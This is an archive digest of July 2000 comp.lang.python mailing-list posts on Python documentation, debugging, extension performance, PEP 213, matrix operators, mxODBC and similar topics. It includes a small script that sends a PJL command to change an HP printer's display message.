Konrad Hinsen                            | E-Mail: hinsen at cnrs-orleans.fr
Centre de Biophysique Moleculaire (CNRS) | Tel.: +33-2.38.25.55.69
Rue Charles Sadron                       | Fax:  +33-2.38.63.15.17
45071 Orleans Cedex 2                    | Deutsch/Esperanto/English/
France                                   | Nederlands/Francais
-------------------------------------------------------------------------------


From theebh at yahoo.com.bbs  Mon Jul 17 21:50:02 2000
From: theebh at yahoo.com.bbs (theebh at yahoo.com.bbs)
Date: 18 Jul 2000 01:50:02 GMT
Subject: newbie unimpressed...
Message-ID: <3bRWfQ$lHg@openbazaar.net>

In article <8kvp81$9q1$1 at nnrp1.deja.com>,
  sharkey3 at my-deja.com wrote:
> I have much experience in tcl and perl, and I have finally found a
good
> project to learn python with.  Unfortunately, I am very frustrated so
> far with the language.  Although maybe it's just with the
documentation.
>
> I'm serious.  The documentation really sucks.
> Example:  where is the % operator documented for strings?
>

I'm a newbie myself and i happen to come across those formatting
operators while reading the "Learning Python" book. Grab a copy of it;
though it's not a reference book, at least it gives you an overall idea.

regards,


Sent via Deja.com http://www.deja.com/
Before you buy.


From montagne at boora.com  Mon Jul  3 17:51:04 2000
From: montagne at boora.com (michael montagne)
Date: Mon, 3 Jul 2000 14:51:04 -0700
Subject: Python Object Browser
Message-ID: <dU785.94271$5k2.195629@dfw-read.news.verio.net>

I'm trying to use makepy on some common objects on my system.  Word2000,
Excel2000, etc.
It doesn't seem to want ot work.  When I go to the objects that are having
trouble using the Python Object Browser, under the Type Library heading it
says
"The type info can n..="The type info can not be loaded".  Does this mean it
is unavailable?  How do i fix this?

-mjm




From mmorris at mindspring.com  Mon Jul 24 14:09:26 2000
From: mmorris at mindspring.com (Mitchell Morris)
Date: 24 Jul 2000 18:09:26 GMT
Subject: Test framework of choice?
Message-ID: <8F7B7D888beablebeable@209.155.56.81>

In the course of finding a reasonably standard-ish test framework, I found 
a curiousity: <URL:http://www.xprogramming.com/software.htm> reports three 
separate implementations for Python. It appears from my cursory reading 
that either Bob Martin's OmPyUnit or Stephen Purcell's pyunit would be the 
preferred mechanism, but I can't be sure. My kneejerk reaction is to use 
pyunit merely because it's hosted at SourceForge, but I'm not at all sure 
that software should be blessed merely because of who hosts the CVS tree.

Is there any consensus, emerging or otherwise, as to which is more likely 
to survive any putative consolidation efforts? Is either of them going to 
be included in the core Python distribution? Are there any plans to include 
any kind of regression testing framework into the standard distribution?

+Mitchell


From rgparker at west.net  Mon Jul 17 21:08:03 2000
From: rgparker at west.net (Randall Parker)
Date: Tue, 18 Jul 2000 01:08:03 GMT
Subject: Does Python support interfaces?
Message-ID: <MPG.13dd4ec32cbe48e98982a@news.onlynews.com>

I'm quite new to Python. For those who are familiar with Java interfaces: 
Does Python have a similar facility? 

Can one declare interfaces, then declare that a class implements some 
interface, instantiate an object of that class type, and then cast it to 
an interface that it is declared to support and then pass it around as a 
reference to that interface type and make calls to methods of that 
interface type?



From SBrunning at trisystems.co.uk  Tue Jul 18 11:07:09 2000
From: SBrunning at trisystems.co.uk (Simon Brunning)
Date: Tue, 18 Jul 2000 16:07:09 +0100
Subject: Locating Python modules
Message-ID: <31575A892FF6D1118F5800600846864D4C706A@intrepid>

I'd like to organise the Python modules that I have downloaded in some
rational fashion. Ideally, I'd like a directory to keep them all in, with
each in a separate sub-directory. I don't want to keep all these directories
in my PYTHONPATH.

Is there some de-facto standard way of organising this?

If not, what methods of organisation do people use, and what are the pros
and cons of the various methods?

Cheers,
Simon Brunning
TriSystems Ltd.
sbrunning at trisystems.co.uk




-----------------------------------------------------------------------
The information in this email is confidential and may be legally privileged.
It is intended solely for the addressee. Access to this email by anyone else
is unauthorised. If you are not the intended recipient, any disclosure,
copying, distribution, or any action taken or omitted to be taken in
reliance on it, is prohibited and may be unlawful. TriSystems Ltd. cannot
accept liability for statements made which are clearly the senders own.



From rwgkNOrwSPAM at cci.lbl.gov.invalid  Thu Jul  6 15:20:30 2000
From: rwgkNOrwSPAM at cci.lbl.gov.invalid (rwgk)
Date: Thu, 06 Jul 2000 12:20:30 -0700
Subject: extension module performance problems
Message-ID: <115675da.97c91c5a@usw-ex0103-023.remarq.com>

I wrote a tiny shared library (.so) extension module for
tokenizing input files. Unfortunately this implementation
ran only marginally faster than a pure-Python solution.
I did some profiling on a Silicon Graphics (IRIX 6.5) and
noticed that significant time is spent in the pthreads library
although there is only one thread. Therefore I recompiled
python (1.5.2) without threading, and the program ran about
three times faster.

In contrast, the runtime on a Compaq Alpha (Tru64 5.0) is not
affected by the inclusion of pthreads. However, my test
runs about four times faster if the extension module is
linked statically.

Here is the summary of CPU times:

         no threads    with threads
        static   .so   static   .so
Alpha    0.6    2.4     2.4    2.4
SGI      0.83   0.83    2.19   2.25

Can these observations be explained? Is there a way to
get full performance under all circumstances?

The python bit of the test program is attached.

Thanks!
        Ralf


import sys
import _cnsinput

if (len(sys.argv) < 2):
  f = sys.stdin
else:
  f = open(sys.argv[1], 'r')

try:
  io = _cnsinput.start(f)
  gNW = io.getNextWord
  while 1:
    word = gNW() # this line is executed 69768 times
except EOFError:
  print 'end of file'

f.close()





-----------------------------------------------------------

Got questions?  Get answers over the phone at Keen.com.
Up to 100 minutes free!
http://www.keen.com



From tanzer at swing.co.at  Sun Jul 23 03:56:08 2000
From: tanzer at swing.co.at (Christian Tanzer)
Date: Sun, 23 Jul 2000 09:56:08 +0200
Subject: New PEP: Attribute Access Handlers 
In-Reply-To: Your message of "Fri, 21 Jul 2000 23:11:56 CDT."
             <39791F0C.CDC13E79@prescod.net> 
Message-ID: <m13GGcK-000wcEC@swing.co.at>

> Paul Prescod <paul at prescod.net> wrote:
> 
> http://python.sourceforge.net/peps/pep-0213.html
> 
> PEP: 213
> Title: Attribute Access Handlers
> Version: $Revision: 1.3 $
> Owner: paul at prescod.net (Paul Prescod)
> Python-Version: 2.0
> Status: Incomplete
(snip)
> Current Solution
> 
>     To make some attributes read-only:
> 
>     class foo:
>        def __setattr__( self, name, val ):
>           if name=="readonlyattr":
>              raise TypeError
>           elif name=="readonlyattr2":
>              raise TypeError
>           ...
>           else:
>              self.__dict__["name"]=val
> 
>      This has the following problems:
> 
>      1. The creator of the method must be intimately aware of whether
>         somewhere else in the class hiearchy __setattr__ has also been
>         trapped for any particular purpose. If so, she must specifically
>         call that method rather than assigning to the dictionary. There
>         are many different reasons to overload __setattr__ so there is a
>         decent potential for clashes. For instance object database
>         implementations often overload setattr for an entirely unrelated
>         purpose.
> 
>      2. The string-based switch statement forces all attribute handlers 
>         to be specified in one place in the code. They may then dispatch
>         to task-specific methods (for modularity) but this could cause
>         performance problems.
> 
>      3. Logic for the setting, getting and deleting must live in 
>         __getattr__, __setattr__ and __delattr__. Once again, this can
>         be mitigated through an extra level of method call but this is 
>         inefficient.
> 
> Proposed Syntax
>  
>     Special methods should declare themselves with definitions of the
>     following form:
> 
>     class x:
>         def __attr_XXX__(self, op, val ):
>             if op=="get":
>                 return someComputedValue(self.internal)
>             elif op=="set":
>                 self.internal=someComputedValue(val)
>             elif op=="del":
>                 del self.internal
(snip)

I agree that 1. and 2. are sometimes problems, but IMHO point 3. is a
good thing, not a problem.

In general, get/set/del are not related. For instance:

    $ dir ~/ttt/ttptools/*/*.py | wc -l
        426
    $ grep '  def __setattr__' ~/ttt/ttptools/*/*.py | wc -l
          5
    $ grep '  def __getattr__' ~/ttt/ttptools/*/*.py | wc -l
         44
    $ grep '  def __delattr__' ~/ttt/ttptools/*/*.py | wc -l
          0

In short, folding get/set/del into one function sucks. Besides, it
doesn't really help when you want to overload just get, but would like
to keep the set/del of the ancestor.

To disentangle the accessors of different attributes, I would suggest
to use a dictionary of attribute-specific accessor functions.

For instance:

    class Foo :
        def _set_bar  (self, name, value) : ...
        def _set_baz  (self, name, value) : ...
        def _dont_set (self, name, value) : raise Readonly_Attribute, name
        __attr_setters__ = { "bar" : _set_bar
                           , "baz" : _set_baz
                           , "ro1" : _dont_set
                           , "ro2" : _dont_set
                           }

        def __setattr__ (self, name, value):
            if self.__attr_setters__.has_key (name) :
                self.__attr_setters__ [name] (self, name, value)
            else :
                ...

    class Bar (Foo) :
        def _set_baz  (self, name, value) : ...

    def dict (* dicts, ** kw) :
        result = {}
        for d in dicts + (kw, ) : result.update (d)
        return result

    class Baz (Bar) :
        __attr_setters__ = dict (Bar.__attr_setters__, baz = Bar._dont_set)

This tackles problem 1 and half of problem 2.
      
If the performance side of problem 2 is really an issue, move the
checking of `__attr_setters__/__attr_getters__/__attr_deleters__' from
`__setattr__/__getattr__/__delattr__' into the interpreter (other
names for the magic dictionaries might be useful then). 

-- 
Christian Tanzer                                         tanzer at swing.co.at
Glasauergasse 32                                       Tel: +43 1 876 62 36
A-1130 Vienna, Austria                                 Fax: +43 1 877 66 92




From mwh21 at cam.ac.uk  Thu Jul 27 17:57:14 2000
From: mwh21 at cam.ac.uk (Michael Hudson)
Date: 27 Jul 2000 22:57:14 +0100
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <8lq20g$kt1$1@nntp9.atl.mindspring.net>
Message-ID: <m31z0fb5j9.fsf@atrus.jesus.cam.ac.uk>

aahz at netcom.com (Aahz Maruch) writes:

> [posted & e-mailed]
> 
> In article <200007270038.TAA03951 at cj20424-a.reston1.va.home.com>,
> Guido van Rossum  <guido at beopen.com> wrote:
> >
> >I've placed the slides of my talk at the O'Reilly Open Source
> >Convention on-line at our BeOpen PythonLabs website:
> >
> >    http://www.pythonlabs.com/talks.html
> 
> It appears that the HTML version requires JavaScript.  That's a Bad Idea.

And it just sucks generally.  Non-resizable frames?  Oh, pull the
other one!

But then what did you expect from Powerpoint?

still-better-than-nowt-ly y'rs
Michael

-- 
  Ya, ya, ya, except ... if I were built out of KSR chips, I'd
  be running at 25 or 50 MHz, and would be wrong about ALMOST
  EVERYTHING almost ALL THE TIME just due to being a computer!
                                              -- Tim Peters, 30 Apr 97


From erno at iki.fi  Wed Jul 26 17:06:12 2000
From: erno at iki.fi (Erno Kuusela)
Date: 27 Jul 2000 00:06:12 +0300
Subject: Reading PCI Configuration Space...
References: <eviltofu-DABC38.15495026072000@news.earthlink.net>
Message-ID: <kuem4gvby3.fsf@lasipalatsi.fi>

>>>>> "Jerome" == Jerome Chan <eviltofu at rocketmail.com> writes:

    Jerome> Does anyone know how to read the PCI configuration space
    Jerome> with Python under Win 98 or Linux?

under linux you have 3 options:
* use the lspci program. try lspci -x or lspci -vvv
* read the files under /proc/bus/pci/ (this is actually
  what the lspci program does, but using lspci might save
  you from future format changes in these files...)
* read /proc/pci
  do this if you are using an older version of linux (2.0.x)

no idea about win98...

  -- erno


From jam at quark.emich.edu  Fri Jul 21 20:16:00 2000
From: jam at quark.emich.edu (Jeff)
Date: Fri, 21 Jul 2000 20:16:00 -0400
Subject: python 'hphack' - change display of HP printer
Message-ID: <20000721201600.A15355@quark.emich.edu>

greetings,

here's a (very) quick script I wrote based on code posted to freshmeat
(http://freshmeat.net/appindex/2000/06/22/961716715.html)

all it does is change the display of an HP laserjet printer from "Ready" to
16 characters of your choosing. it shows the basics of socket calls in
python (vs. the C version), and is very short.

if anyone has suggestions as to how the code could be improved, please mail
them to me directly or post to the list. 

I hereby release this version of the code as GPL.

-- begin --
#!/usr/bin/env python

import sys
import getopt
import socket

_RCSID = "$Id: hphack.py,v 1.1 2000/06/25 13:36:59 jam Exp $"

# http://cssweb.nectech.com/printers/pclcodes/pcl5hp.htm
# http://freshmeat.net/appindex/2000/06/22/961716715.html

UEL = chr(0x1B)+chr(0x25)+chr(0x2D)+chr(0x31)+chr(0x32)+chr(0x33)+chr(0x34)+chr(0x35)+chr(0x58)

def help():
	pass

def version():
	print _RCSID

def main():
	opts, sopts = getopt.getopt(sys.argv[1:], "", [ "help", "version" ])
	for n, v in opts:
		if n == "--help":
			help()
			return
		elif n == "--version":
			version()
			return

	if len(sopts) != 2:
		print "takes two parameters: ipaddress and message."
		return

	dest = sopts[0]
	message = sopts[1]

	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	s.connect(dest, 9100)
	buf = UEL + '@PJL RDYMSG DISPLAY = "%s"\n' % (message) + UEL + "\n"
	s.send(buf)
	s.close()

if __name__ == "__main__":
	main()
-- end --

regards,
J
-- 
|| visit gfd <http://quark.emich.edu/>
|| psa member -- <http://www.python.org/psa/> 
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 240 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-list/attachments/20000721/a808f7a2/attachment.sig>

From gmcm at hypernet.com  Mon Jul 10 15:19:34 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 10 Jul 2000 19:19:34 GMT
Subject: Dummies guide to freeze/standalone?
References: <8kcmv4$uqo$1@nnrp2.deja.com>
Message-ID: <8F6D90442gmcmhypernetcom@199.171.54.154>

level2junkie at my-deja.com wrote in <8kcmv4$uqo$1 at nnrp2.deja.com>:

>Can someone out there give me a direct answer on
>how to freeze a block of python script files?
>I've written a program that spans several files,
>but I can't seem to figure out how to package
>them.  I'd like to be able to run this program on
>a machine that doesn't have python installed on
>it, otherwise what's the point?  Has anyone out
>there figured out how to do this?  If so can you
>please help me?

That might depend on how you managed to write a program that "spans several 
script files".

In the normal case, there's one script which imports other modules. Then
 >python <pathto>\Freeze.py <script>
or
 >python <pathto>\Standalone.py <script>
usually just works.

But if you're using "__import__" instead of "import", you'll have to go a 
level deeper and hand craft a config file for Builder.py.

And if you're using something like "execfile", well, you've got the source 
;-).

-Gordon


From bjorn at roguewave.com  Fri Jul 14 14:29:56 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 14 Jul 2000 12:29:56 -0600
Subject: atof problem.
References: <yUqb5.977$tI4.52638@bgtnsc05-news.ops.worldnet.att.net>
Message-ID: <396F5C24.F3CD4797@roguewave.com>

William Dandreta wrote:
> 
> I am having a problem with the atof function. I tried to convert 1,142.00 to
> a float but the comma causes a problem. I resolved the problem by removing
> the comma but there must be a better way.
> 
> I looked in the documentation and there was mention of the $LANG
> environmental variable but it did not tell haw to use it. Also, it mentioned
> settings could be made using the functions in locale module. I tried to
> import the locale module but I get an error message that the _locale module
> doesn't exist.

Yes, the _locale module doesn't seem to be compiled in by default on
most *nix systems (it works great on Windows, but I'm sure that's as
helpful to you as it is to me <wink>)

Using the locale module is definitely the right way to do this though,
so your best bet is probably to recompile Python...

-- bjorn



From occute at eircom.net  Fri Jul  7 14:08:44 2000
From: occute at eircom.net (Occute)
Date: Fri, 07 Jul 2000 18:08:44 GMT
Subject: Python Commands
Message-ID: <M0p95.1409$SH2.5338@news.iol.ie>

Is there anywhere i can get a list of the commands for python.....?

email me at wylddogg at email.com
tnx




From pehr at pehr.net  Thu Jul  6 22:35:37 2000
From: pehr at pehr.net (pehr anderson)
Date: Fri, 07 Jul 2000 02:35:37 GMT
Subject: Wait/Delay
References: <8k2lhd$5i6$1@gossamer.itmel.bhp.com.au>
Message-ID: <396541FA.D17EA0B9@pehr.net>

The great thing about time.sleep is that it 
supports floating point numbers!

import time
time.sleep(0.1) 

http://python.org/doc/current/lib/module-time.html


	-pehr

A J Wilson wrote:
> 
> Hi
> 
> Is there a command/function in python to put a delay or wait step into a
> program?
> 
> Thanks
> Austin


From thantos at chancel.org  Thu Jul 20 02:33:21 2000
From: thantos at chancel.org (Alexander Williams)
Date: Thu, 20 Jul 2000 06:33:21 GMT
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <upuo9h97v.fsf@ctwd0143.fitlinxx.com> <E7td5.21925$DZ4.71373@news.corecomm.net>
Message-ID: <slrn8nd79h.tb1.thantos@brimstone.mecha>

On Wed, 19 Jul 2000 22:13:12 -0500, nobody <no at bo.dy> wrote:

>(fwiw, my preference for this stems mostly from a liking for brevity; the
>one real "flaw" in all the python workarounds is verbosity. i tend to think

If you want brevity, there are freeware APL interpreters.  If you
actually have to LOOK at code again 6mo later, you'll be very, very
thankful for Python's verbosity.

-- 
Alexander Williams (thantos at gw.total-web.net)           | In the End,
  "I think sex is better than logic,                    | Oblivion
   but I can't prove it."                               | Always
  http://www.chancel.org                                | Wins


From jcm at bigskytel.com  Sat Jul  1 01:22:10 2000
From: jcm at bigskytel.com (David Porter)
Date: Fri, 30 Jun 2000 23:22:10 -0600
Subject: Python MP3 Player
In-Reply-To: <m3ituq7klk.fsf@atrus.jesus.cam.ac.uk>; from mwh21@cam.ac.uk on Sat, Jul 01, 2000 at 01:36:07AM +0100
References: <395CE50A.3BA16777@bioeng.ucsd.edu> <m3ituq7klk.fsf@atrus.jesus.cam.ac.uk>
Message-ID: <20000630232210.A1287@novara.avenue>

* Michael Hudson <mwh21 at cam.ac.uk>:
> Curtis Jensen <cjensen at bioeng.ucsd.edu> writes:
> 
> > Does anyone know of a Python MP3 Player?
> 
> I've cobbled together some Python that you can use to control xmms if
> that's what you want.  Anyone interested?  I can stick it on my
> starship page if anyone is...

I am! I was just thinking about doing something like this. 

Thanks,

  David



From iain at wombatzone.freeserve.co.uk  Mon Jul  3 18:50:44 2000
From: iain at wombatzone.freeserve.co.uk (Iain Calder)
Date: Mon, 03 Jul 2000 22:50:44 +0000
Subject: PyGtk again but with segfault
References: <39610186.36BAFE88@pp.htv.fi>
Message-ID: <396118C4.116790FA@wombatzone.freeserve.co.uk>

Esko Lehtonen wrote:
> 
> Sunday I asked about PyGTK's draw_array-method a stupid question:-) Now
> I have another, hopefully a stupid (=and easily solvable) too.
> 
> from gtk import *
> from Numeric import *
> --
> win = GtkWindow()
> darea = GtkDrawingArea()
> ---
> HEIGHT = 50
> WIDTH = 50
> BYTES = 3
> rgbbuf = ones([HEIGHT, WIDTH, BYTES], UnsignedInt8)
> 
> gc = self.win.get_style().white_gc
> drawable = self.darea.get_window()
> dither = GDK.RGB_DITHER_NORMAL
> x = 10
> y = 10
> rowstride = WIDTH * 3
> 
> draw_array(drawable, gc, x, y, dither, rgbbuf)
> 
> Unfortunataly I got now segmentation fault when the C function is
> executed.

At startup, before the first call to draw_array, you need to call
push_rgb_visual().

HTH

Iain Calder


From jason at hostway.com  Wed Jul  5 19:27:13 2000
From: jason at hostway.com (Jason Abate)
Date: Wed, 05 Jul 2000 23:27:13 GMT
Subject: RFC 2047 parser
Message-ID: <3963C30E.D8FB9B13@hostway.com>

I was wondering if anyone has put together code for parsing mail headers
encoded according to  RFC 2047 (Message Header Extensions for
Non-ASCII Text).  After reading through the RFC, putting something basic
together that handles simple cases is almost trivial in Python, but
handling all the nooks and crannies is more involved.  A search of
Deja.com and python.org didn't turn up much, but if someone has already
done this, I'd rather avoid reinventing the wheel.

Thanks for any leads,

-jason

--
Jason Abate
Director of Research and Development
Hostway Corporation
jason at hostway.com




From coughlan at gothaminteractive.com.bbs  Mon Jul 17 11:30:02 2000
From: coughlan at gothaminteractive.com.bbs (coughlan at gothaminteractive.com.bbs)
Date: 17 Jul 2000 15:30:02 GMT
Subject: Zope newbie
Message-ID: <3bRGYQ$kqP@openbazaar.net>

I've just installed Zope on Linux, and the documentation that comes
with it refers almost exclusively to NT!?  There is very little on Zope
with Apace.

Does anyone know of a URL or forum to get a decent tour of Zope on
Linux?  zope.com is also *very* dissappointing.

It's unclear to me how to even create a hello world program to make
sure it's installed and running.  Any advice, would be appreciated.


Sent via Deja.com http://www.deja.com/
Before you buy.


From hzhu at localhost.localdomain  Fri Jul 14 18:45:59 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Fri, 14 Jul 2000 22:45:59 GMT
Subject: Discussion: Introducing new operators for matrix computation
References: <slrn8mpi53.sh.hzhu@rocket.knowledgetrack.com> <396E160D.272C0C34@roguewave.com> <slrn8msd14.sj.hzhu@localhost.localdomain> <qsusmscak89fbrddm2b7mlej4vrjq4nadl@4ax.com>
Message-ID: <slrn8mv67u.vt.hzhu@rocket.knowledgetrack.com>

John, 

Thanks for your clear description of the importance of matrix in another
post.  Are you aware of MatPy?  (http://MatPy.sourceforge.net/)

On 13 Jul 2000 21:36:02 -0500, John Lull <lull at acm.org> wrote:
>> 
>> [in octave we write]
>> > b = X\y                  # LMS solution of a linear equation y = X*b
>> > b = (X'*X)\(X'*y)        # or written out in more details
>> > b = inv(X'*X)*(X'*y)     # or in a less efficient form.
>> > 
>> > but the corresponding Python notation is horrendous:
>> > 
>> > b = matrixmultiply(inverse(matrixmultiply(transpose(X), X)), 
>> >     (matrixmultiply(transpose(X), y[:,NewAxis])))
>
>I'm don't think this is quite fair.  You could just as easily write:
>    b = rDiv(X, y)
>if you simply had an appropriate rDiv() function.  It's not nearly as
>pretty as octave's notation, but it doesn't have to be nearly as
>hideous as your example.

Well, you are right.  That quote was from a post written before MatPy
started, using NumPy which has a different idea of vectors tham matrices.
Now in MatPy these three are

solve(X,y)
solve(X.H()*X, X.H()*y)
(X.H()*X).I() * (X.H()*y)

This is almost as good or even better.

So why do we still need additional operators?  Because we are now using * as
matrixmultiply, so there need to be another operator for elementwise *.

Huaiyu



From stephen at cerebralmaelstrom.com.bbs  Tue Jul 18 04:30:09 2000
From: stephen at cerebralmaelstrom.com.bbs (stephen at cerebralmaelstrom.com.bbs)
Date: 18 Jul 2000 08:30:09 GMT
Subject: newbie unimpressed...
Message-ID: <3bRhDW$je4@openbazaar.net>

Please note that i'm using the latest official version -- 1.5.2, and am
thus responding from that point-of-view. I've always had a hard time
with people complaining about old versions, it never made all that much
sense to me .. but hey :) Maybe you just didn't know you're not using
the latest one?

Anyways. I love the Python documentation. I think it is, overall,
very well done. For instance, to find the answer to your question
on the Modulo operator...

Pop it open, select:
    Library Reference
    Built-In types
    Sequence Operations
     (then, after noting its not in the listed operators, choose...)
    More String Operations

Now, the only thing confusing about that is the fact that strings are
considered sequences -- but well, strings are arrays of characters,
y'know :) It is otherwise rather well organized -- its rarely difficult
to find something if you know remotely what you're looking for. If
you don't -- well, you tend to find something else terribly interesting
that makes the search worth it.

As for the debugger -- I don't know, i've never used it. I've never
needed anything more then an  interactive prompt to figure out
what's going on with my programs and where the problems are.

--Stephen

<sharkey3 at my-deja.com> wrote in message news:8kvp81$9q1$1 at nnrp1.deja.com...
> I have much experience in tcl and perl, and I have finally found a good
> project to learn python with.  Unfortunately, I am very frustrated so
> far with the language.  Although maybe it's just with the documentation.
>
> I'm serious.  The documentation really sucks.
> Example:  where is the % operator documented for strings?
>
> Ok, maybe the debugger sucks worse.  I've already read the documentation
> for pdb, but I must be missing something.
>
> Here's my test.py:
> #!/usr/bin/python
>
> print 'hi'
>
>
> Here's my debugging session:
> $ python /usr/lib/python1.5/pdb.py test.py
> > <string>(0)?()
> (Pdb) l
> [EOF]
> (Pdb) n
> > <string>(1)?()
> (Pdb)
> hi
> --Return--
> > <string>(1)?()->None
> (Pdb)
> $
>
> Notice that the 'l' command does nothing.  How do I see what line I am
> on?
> What does "> <string>(0)?()" tell me?
>
> (I'm using python 1.5.1 on Redhat 5.2)
>
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.




-----= Posted via Newsfeeds.Com, Uncensored Usenet News =-----
http://www.newsfeeds.com - The #1 Newsgroup Service in the World!
-----==  Over 80,000 Newsgroups - 16 Different Servers! =-----


From ekw1 at my-deja.com  Thu Jul  6 01:20:33 2000
From: ekw1 at my-deja.com (ekw1 at my-deja.com)
Date: Thu, 06 Jul 2000 05:20:33 GMT
Subject: mxODBC module
Message-ID: <8k14us$c4c$1@nnrp1.deja.com>

I've installed mxODBC along with mxDateTime for Python 1.5.2 on
Windows98.  I'm getting errors when I try to connect to a MySQL 3.23.19
database (which I've used MyODBC to set up ODBC connection to it).

When I try to use ODBC.Windows, I get this error:
>>> import ODBC.Windows
>>> db = ODBC.Windows.Connect("DSN_name")
Traceback (innermost last):
  File "<pyshell#15>", line 1, in ?
    db = ODBC.Windows.Connect("PyNotes")
NotSupportedError: ('S1C00', 0, "[TCX][MyODBC]MySQL can't use
transactions", 4226)

And I can't even import ODBC.MySQL:
>>> import ODBC.MySQL
Traceback (innermost last):
  File "<pyshell#13>", line 1, in ?
    import ODBC.MySQL
  File "C:\Program Files\Python\Lib\ODBC\MySQL\__init__.py", line 7, in
?
    from mxODBC import *
ImportError: No module named mxODBC

mxODBC is on the same directory level as MySQL, but it can't be found.

I don't know what the differences/advantages to either method would be,
but can anyone help me get this working?  I am able to connect to the
MySQL DB via Java and JDBC-ODBC and program it successfully, but would
like to get Python connected as well.  Thanks for any help.

ekw


Sent via Deja.com http://www.deja.com/
Before you buy.


From hzhu at localhost.localdomain  Fri Jul 21 03:21:07 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Fri, 21 Jul 2000 07:21:07 GMT
Subject: zip() : how about braid()
References: <Pine.BSF.4.10.10007191838040.26945-100000@chi.pair.com> <8l6cbp$fgr$1@pollux.ip-plus.net> <3977C2A8.6D8F7586@my.signature>
Message-ID: <slrn8nfum2.rb.hzhu@localhost.localdomain>

On Fri, 21 Jul 2000 15:25:28 +1200, Greg Ewing <see at my.signature> wrote:
>"J?rgen Hermann" wrote:
>> 
>> merge() is the best yet, since it's a common (programming) term with a
>> well-defined meaning.
>
>But it's a DIFFERENT meaning!
>
>merge([1,2,4,6,7,8],[3,5,9]) --> [1,2,3,4,5,6,7,8,9])
>

Complete solution! <0.9wink>

Following is a list of most of the operations discussed (except merge as
above), with one possible set of syntax - Or it might be just another can of
worms I'm opening.  :-)


a = [1, 2, 3];  b = [4, 5, 6]
#----------------------------------------------------
# Parallel loops:

c = tuples(a,b)             # c = [(1,4), (2,5), (3,6)]
c = lists(a,b)              # c = [[1,4], [2,5], [3,6]]
c = xtuples(a,b)            # c = ((1,4), (2,5), (3,6))
c = xlists(a,b)             # c = ([1,4], [2,5], [3,6])

#----------------------------------------------------
# prefix x has the same effect as in xrange in loops (delayed):

for pair in xtuples(a,b): 
    print pair              # print (1,4); print (2,5); print (3,6)
for pair in xlists(a,b):
    print pair              # print [1,4]; print [2,5]; print [3,6]

#----------------------------------------------------
# list comprehension - all elements that satisfy conditions

c = [x*2, y: x, y in xtuples(a,b)]          # c = [(2,4), (4,5), (6,6)]
c = [[x, y]: x, y in xtuples(a,b)]          # c = [[1,4], [2,5], [3,6]]
c = [x: x in a+b; x%2=0]                    # c = [2, 4, 6]
c = [x in a+b: x%2=0]                       # ditto
c = [x,y: x, y in xtuples(a,b); x>1; x+y<8] # c = [(2,5)]
c = [x,y in xtuples(a,b): x>1; x+y<8]       # ditto

#----------------------------------------------------
# Corresponding to old syntax

c = [x in a: f(x)]          # c = filter(f, x)
c = [f(x): x in a]          # c = map(f, a)

#----------------------------------------------------
# Iterated loops:

c = [x, y: x in a; y in b]  # c = [(1,4), (1,5), (1,6), (2,4), (2,5), ...]
c = [[x,y]: x in a; y in b] # c = [[1,4], [1,5], [1,6], [2,4], [2,5], ...]

for i, j in [i, j: i in a; j in b]:
    print i, j              # print 1,4; print 1,5; ...

for i in a; j in b:
    print i, j              # ditto

Huaiyu



From mjackson at wc.eso.mc.xerox.com  Tue Jul 18 13:53:11 2000
From: mjackson at wc.eso.mc.xerox.com (Mark Jackson)
Date: 18 Jul 2000 17:53:11 GMT
Subject: Python-dev summary: July 1-15
References: <20000718100813.C21354@newcnri.cnri.reston.va.us>
Message-ID: <8l25i7$7mj$1@news.wrc.xerox.com>

Andrew Kuchling <akuchlin at cnri.reston.va.us> writes:
> This is a first experiment in whether I can make a useful,
> interesting, somewhat coherent summary of python-dev activity.

	return "Success!"

> If reaction is favorable, and time permits, it may become a biweekly 
> posting.

Please do so if possible.  I'm confident this is more useful than
lurking on python-dev, which I don't have time to do in any event.

-- 
Mark Jackson - http://www.alumni.caltech.edu/~mjackson
	A doctor can bury his mistakes, but an architect can only
	advise his client to plant vines.
				- Frank Lloyd Wright




From paul at prescod.net  Thu Jul 13 00:20:00 2000
From: paul at prescod.net (Paul Prescod)
Date: Wed, 12 Jul 2000 23:20:00 -0500
Subject: What is UnboundLocalError for?
References: <etdhf9vt1xf.fsf@w20-575-115.mit.edu> <etdg0peuc60.fsf@w20-575-115.mit.edu>
Message-ID: <396D4370.8415BCBC@prescod.net>

lex wrote:
> 
> Tee hee.  I'll get control over that pesky mouse one of these days.
> 
> This is what I meant to paste in:
> 
> >>> def f(): l = l + 1
> ...
> >>> f()
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>   File "<stdin>", line 1, in f
> UnboundLocalError: l
> >>>

Would this have helped:

UnboundLocalError: Local variable l referenced before assignment

http://sourceforge.net/patch/download.php?id=100874
http://sourceforge.net/patch/?func=detailpatch&patch_id=100874&group_id=5470



-- 
 Paul Prescod - Not encumbered by corporate consensus
Simplicity does not precede complexity, but follows it. 
	- http://www.cs.yale.edu/~perlis-alan/quotes.html



From dgoodger at bigfoot.com  Sun Jul 30 19:17:08 2000
From: dgoodger at bigfoot.com (David Goodger)
Date: Sun, 30 Jul 2000 19:17:08 -0400
Subject: experts disagree on "call-by-reference"
References: <8m29o0$p9g$2@news.dtc.hp.com>
Message-ID: <B5AA2FB3.6F04%dgoodger@bigfoot.com>

on 2000-07-30 18:20, Greg Weeks (weeks at golden.dtc.hp.com) wrote:
> All of the passages mentioned above could just as well apply to Python.
> The experts are in explicit disagreement.

You're comparing apples with oranges. Of course they're "in disagreement",
because they're describing different things.

In compiled low-level languages, a variable is a symbol representing an
address in memory, and you can have read-write access to that address. For
local variables, the "address in memory" is actually an offset from the top
of the stack. In languages like C, the variable name doesn't survive the
compilation process; it is replaced by the address or stack offset directly.

In some high-level languages, like Python, the variable name survives to
runtime. In Python, a variable is a name in a namespace, implemented as a
dictionary. The name is a dictionary key to what evaluates internally to an
address of some sort (it doesn't matter what sort). For immutable objects,
you *don't* have write access to this address, just to the name itself. So
